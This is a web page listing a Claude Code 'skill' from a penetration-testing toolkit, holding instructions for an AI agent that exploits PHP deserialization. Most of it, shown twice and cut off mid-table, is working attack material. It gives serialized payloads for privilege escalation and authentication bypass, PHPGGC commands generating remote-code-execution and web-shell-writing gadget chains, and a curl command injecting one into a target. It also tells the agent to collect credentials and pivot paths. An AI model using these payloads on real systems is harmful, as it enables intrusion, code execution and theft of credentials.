/deserialization-php
Exploit PHP deserialization vulnerabilities during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill deserialization-php --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/deserialization-php
Context preview
The summary Claude sees to decide when to auto-load this skill.
Exploit PHP deserialization vulnerabilities during authorized penetration testing.
SKILL.md
deserialization-php.SKILL.mdname: deserialization-php
description: >
Exploit PHP deserialization vulnerabilities during authorized penetration
testing.
keywords:
- php deserialization
- php object injection
- unserialize exploit
- __wakeup exploit
- __destruct exploit
- phar deserialization
- phar polyglot
- PHPGGC
- Laravel deserialization
- PHP POP chain
- php magic methods exploit
- type juggling auth bypass
tools:
- phpggc
- burpsuite
- exiftool
opsec: medium
PHP Deserialization
You are helping a penetration tester exploit PHP deserialization vulnerabilities. The target application passes untrusted data to `unserialize()` or processes attacker-controlled phar:// streams, enabling object injection and remote code execution via gadget chains. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[deserialization-php] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- A PHP deserialization endpoint (`unserialize()` on user input, or filesystem
function accepting `phar://`)
- Tools: `phpggc` (`git clone https://github.com/ambionics/phpggc`),
Burp Suite for request interception
- Knowledge of target framework/libraries (Laravel, Symfony, WordPress, etc.)
Step 1: Assess
If not already provided, determine:
1. **Serialization format** — look for these patterns:
| Pattern | Meaning | Example | |---------|---------|---------| | `O:<len>:"<class>"` | Serialized object | `O:8:"stdClass":1:{s:1:"a";s:1:"b";}` | | `a:<count>:{...}` | Serialized array | `a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}` | | `s:<len>:"<value>"` | Serialized string | `s:5:"hello";` | | `Tz` (base64) | Base64-encoded serialized | Decode to check for `O:` or `a:` |
2. **Entry point**:
- GET/POST parameters
- Cookies (session data, auth tokens)
- HTTP headers
- File uploads (phar:// trigger)
- Database-stored serialized data
3. **Framework** — check for Laravel, Symfony, WordPress, Magento, CakePHP, Yii, CodeIgniter (determines available PHPGGC chains)
4. **PHP version** — PHP 7.0+ supports `allowed_classes` option in `unserialize()`, PHP 7.4+ has `__serialize()`/`__unserialize()`
Skip if context was already provided.
Step 2: Basic Object Injection
Direct Injection (Custom Application)
If the application has vulnerable classes with exploitable magic methods:
# Magic methods triggered during deserialization:
# __wakeup() — called when object is unserialized
# __destruct() — called when object is garbage collected (most reliable)
# __toString() — called when object is cast to string
# __call() — called when undefined method is invoked
# __get() — called when undefined property is read
**Test payload** — modify object properties:
# Original serialized session (example)
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:0;}
# Modified — set admin=true
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:1;}Type Juggling via Deserialization
Exploit loose comparison (`==`) in PHP:
# If auth check uses: if ($data['password'] == $storedPassword)
# Send boolean true — true == "any_string" is true in PHP
a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}
# Magic hash collision (md5/sha1 starting with 0e — treated as 0 in ==)
# md5('240610708') starts with 0e → 0e... == 0e... is truePrivate/Protected Property Injection
PHP serialization encodes visibility with null bytes:
# Public property
s:4:"name";s:5:"value";
# Protected property (prefix: \0*\0)
s:7:"\0*\0name";s:5:"value";
# Private property (prefix: \0ClassName\0)
s:14:"\0MyClass\0name";s:5:"value";
Step 3: PHPGGC (Framework Gadget Chains)
PHPGGC generates POP chains for common PHP frameworks and libraries.
# List all available gadget chains
phpggc --list
# Common RCE chains
phpggc Monolog/RCE1 system id # Monolog logging
phpggc Monolog/RCE2 system id # Monolog alternative
phpggc Laravel/RCE9 system id # Laravel framework
phpggc Laravel/RCE13 system id # Laravel alternative
phpggc Symfony/RCE4 system id # Symfony framework
phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/data # File write
# Output formats
phpggc Monolog/RCE1 system id -s # Serialized string
phpggc Monolog/RCE1 system id -b # Base64 encoded
phpggc Monolog/RCE1 system id -u # URL encoded
phpggc Monolog/RCE1 system id -p phar -o /tmp/exploit.phar # PHAR format
# Inject into parameter
curl -X POST https://TARGET/endpoint \
-d "data=$(phpggc Monolog/RCE1 system 'id' -u)"
**Framework → chain selection:**
| Framework/Library | Chains | Notes | |-------------------|--------|-------| | Laravel | RCE9, RCE13, RCE15 | Requires APP_KEY for encrypted cookies | | Symfony | RCE4+ | Common in Symfony-based apps | | Monolog | RCE1, RCE2 | Widely used logging library | | Guzzle | FW1, Info1 | HTTP client — file write chains | | SwiftMailer | FW1-4 | Email library — file write | | Doctri
Read more
name: deserialization-php description: > Exploit PHP deserialization vulnerabilities during authorized penetration testing. keywords: - php deserialization - php object injection - unserialize exploit - __wakeup exploit - __destruct exploit - phar deserialization - phar polyglot - PHPGGC - Laravel deserialization - PHP POP chain - php magic methods exploit - type juggling auth bypass tools: - phpggc - burpsuite - exiftool opsec: medium
PHP Deserialization
You are helping a penetration tester exploit PHP deserialization vulnerabilities. The target application passes untrusted data to `unserialize()` or processes attacker-controlled phar:// streams, enabling object injection and remote code execution via gadget chains. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[deserialization-php] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- A PHP deserialization endpoint (`unserialize()` on user input, or filesystem
function accepting `phar://`)
- Tools: `phpggc` (`git clone https://github.com/ambionics/phpggc`),
Burp Suite for request interception
- Knowledge of target framework/libraries (Laravel, Symfony, WordPress, etc.)
Step 1: Assess
If not already provided, determine:
1. **Serialization format** — look for these patterns:
| Pattern | Meaning | Example | |---------|---------|---------| | `O:<len>:"<class>"` | Serialized object | `O:8:"stdClass":1:{s:1:"a";s:1:"b";}` | | `a:<count>:{...}` | Serialized array | `a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}` | | `s:<len>:"<value>"` | Serialized string | `s:5:"hello";` | | `Tz` (base64) | Base64-encoded serialized | Decode to check for `O:` or `a:` |
2. **Entry point**:
- GET/POST parameters
- Cookies (session data, auth tokens)
- HTTP headers
- File uploads (phar:// trigger)
- Database-stored serialized data
3. **Framework** — check for Laravel, Symfony, WordPress, Magento, CakePHP, Yii, CodeIgniter (determines available PHPGGC chains)
4. **PHP version** — PHP 7.0+ supports `allowed_classes` option in `unserialize()`, PHP 7.4+ has `__serialize()`/`__unserialize()`
Skip if context was already provided.
Step 2: Basic Object Injection
Direct Injection (Custom Application)
If the application has vulnerable classes with exploitable magic methods:
# Magic methods triggered during deserialization: # __wakeup() — called when object is unserialized # __destruct() — called when object is garbage collected (most reliable) # __toString() — called when object is cast to string # __call() — called when undefined method is invoked # __get() — called when undefined property is read
**Test payload** — modify object properties:
# Original serialized session (example)
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:0;}
# Modified — set admin=true
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:1;}Type Juggling via Deserialization
Exploit loose comparison (`==`) in PHP:
# If auth check uses: if ($data['password'] == $storedPassword)
# Send boolean true — true == "any_string" is true in PHP
a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}
# Magic hash collision (md5/sha1 starting with 0e — treated as 0 in ==)
# md5('240610708') starts with 0e → 0e... == 0e... is truePrivate/Protected Property Injection
PHP serialization encodes visibility with null bytes:
# Public property s:4:"name";s:5:"value"; # Protected property (prefix: \0*\0) s:7:"\0*\0name";s:5:"value"; # Private property (prefix: \0ClassName\0) s:14:"\0MyClass\0name";s:5:"value";
Step 3: PHPGGC (Framework Gadget Chains)
PHPGGC generates POP chains for common PHP frameworks and libraries.
# List all available gadget chains phpggc --list # Common RCE chains phpggc Monolog/RCE1 system id # Monolog logging phpggc Monolog/RCE2 system id # Monolog alternative phpggc Laravel/RCE9 system id # Laravel framework phpggc Laravel/RCE13 system id # Laravel alternative phpggc Symfony/RCE4 system id # Symfony framework phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/data # File write # Output formats phpggc Monolog/RCE1 system id -s # Serialized string phpggc Monolog/RCE1 system id -b # Base64 encoded phpggc Monolog/RCE1 system id -u # URL encoded phpggc Monolog/RCE1 system id -p phar -o /tmp/exploit.phar # PHAR format # Inject into parameter curl -X POST https://TARGET/endpoint \ -d "data=$(phpggc Monolog/RCE1 system 'id' -u)"
**Framework → chain selection:**
| Framework/Library | Chains | Notes | |-------------------|--------|-------| | Laravel | RCE9, RCE13, RCE15 | Requires APP_KEY for encrypted cookies | | Symfony | RCE4+ | Common in Symfony-based apps | | Monolog | RCE1, RCE2 | Widely used logging library | | Guzzle | FW1, Info1 | HTTP client — file write chains | | SwiftMailer | FW1-4 | Email library — file write | | Doctri
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

